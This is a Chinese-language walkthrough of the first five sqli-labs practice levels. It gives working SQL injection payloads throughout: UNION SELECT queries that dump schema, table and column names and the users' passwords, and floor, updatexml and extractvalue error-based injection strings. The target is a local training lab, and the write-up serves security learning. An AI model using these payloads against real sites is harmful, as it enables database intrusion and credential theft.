Lesson1

访问lesson1页面我们可以看到：Please input the ID as parameter with numeric value

翻译过来就是：请输入id作为带数值的参数

下面正式开始进入闯关过程

-- （这里有一个空格，--空格）在SQL内表示注释，但在URL中，如果在最后加上-- ，浏览器在发送请求的时候会把URL末尾的空格舍去，所以我们用--+代替-- ，原因是+在URL被URL编码后会变成空格。

第一关

1.经过语句and 1=2测试 ，页面回显正常，所以该地方不是数值查询

2.接着尝试在id后面加上'，发现页面回显不正常，表示可能存在SQL字符注入

3.输入--+将sql后面的语句注视掉后，发现页面回显正常，则证明这个地方是单引号字符型注入

4.接着使用order by 语句判断，该表中一共有几列数据

order by 3页面回显正常，order by 4页面回显不正常，说明此表一个有3列。

5.将id=1改为一个数据库不存在的id值，如861，使用union select 1,2,3联合查询语句查看页面是否有显示位

发现页面先输出了2和3，说明页面有2个显示位

6.然后利用sql查询语句依次爆破出数据库内的数据库名，表名，列名，字段信息

例子：

http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group\_concat(schema\_name) from information\_schema.schemata),3 --+

这是一个查询数据库名信息的语句

查询security内的所有表名

http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group\_concat(schema\_name) from information\_schema.schemata),(select group\_concat(table\_name) from information\_schema.tables where table\_schema='security')--+

接着使用下面的语句爆破出列名

?id=861' union select 1,(select group\_concat(column\_name) from information\_schema.columns where table\_name='users'),3 --+

接着使用如下语句查询所有的用户名，密码

?id=861' union select 1,(select group\_concat(username) from security.users),(select group\_concat(password) from security.users)--+

Lesson2

下面开始第二关的讲解

进入Lesson2会发现和lesson1的提示是一样的

1.首先输入?id=2，然后输入?id=2-1页面信息发生变化，说明此处是数值型注入

2.order by 3 页面显示正常，order by 4页面显示不正常，所以该表有3列数据

接着可以使用联合查询进行注入，详细过程参考第一关

Lesson3

下面开始第三关的讲解：

进入Lesson3会发现和lesson1的提示是一样的

1.首先输入?id=3，页面显示正常，向页面输入?id=3' --+页面显示不正常，

但是输入 ?id=3') --+ 页面回显正常，说明此处是字符型注入,而且是以 ('')的方式闭合字符串的

2.接着使用order by 判断表中有3列数据

3.接着使用联合查询，union select 1，2，3 判断页面是否有显示位 答案：有

下面使用第一关所使用的查询语句，测试一下，页面没有问题

Lesson4

下面开始第四关的讲解

进入Lesson4会发现和lesson1的提示是一样的

与第三关类似，第四关使用 ("") 的方式闭合字符串，然后可以优先使用联合查询注入

1.首先输入?id=3，页面显示正常，当输入?id=3" --+时，页面显示不正常

2.当输入?id=3") --+时，页面回归正常显示

Lesson5

下面是第五关的通关讲解：

1.经错测试发现，当输入?id=3时页面显示正常，当输入?id=486页面显示如下

说明页面没有显示位。无法使用联合查询注入

2.接着我们尝试在URL中输入 ?id=2' 页面出现错误语句如下：

页面出现SQL语句报错，在这里我们就可以使用一种新的注入方式：报错注入

首先介绍三种报错注入常用的语句：

(1). 通过floor报错

and (select 1 from (select count(\*),concat((payload),floor (rand(0)\*2))x from information\_schema.tables group by x)a)

其中payload为你要插入的SQL语句

需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错

and updatexml(1,payload,1)

同样该语句对输出的字符长度也做了限制，其最长输出32位

并且该语句对payload的反悔类型也做了限制，只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错

and extractvalue(1, payload)

输出字符有长度限制，最长32位。

payload即我们要输入的sql查询语句

3.在这里我们使用floor报错语句进行注入

?id=2' and (select 1 from (select count(\*),concat(((select group\_concat(schema\_name) from information\_schema.schemata)),

floor (rand(0)\*2))x from information\_schema.tables group by x)a) --+

这里发现页面提示我输出信息超过一行，但我们已经使用了group\_concat函数，说明这里数据库名组成的字符串长度超过了64位，所以我们需要放弃group\_concat函数，

而使用limit 0,1来一个个输出

group\_concat()函数的作用：将返回信息拼接成一行显示

limit 0,1  表示输出第一个数据。   0表示输出的起始位置，1表示跨度为1（即输出几个数据，1表示输出一个，2就表示输出两个）

接着我们运用如下语句：

and (select 1 from (select count(\*),concat(((select schema\_name from information\_schema.schemata limit 0,1)),

floor (rand(0)\*2))x from information\_schema.tables group by x)a) --+

需要注意的是，此时数据库名并不是 information\_schema1

这个1是floor报错语句中输出的也一部分（无论输出什么结果，都会有这个1）

为了防止某些时候，我们误以为这个1也是我们查询结果的一部分，我建议大家使用一个；与它分开，语句如下：

?id=2' and (select 1 from (select count(\*),concat(((select concat(schema\_name,';') from information\_schema.schemata limit 0,1)),

floor (rand(0)\*2))x from information\_schema.tables group by x)a) --+

下面我们更该我们的payload一个个的查询我们要找的数据即可，这里不再演示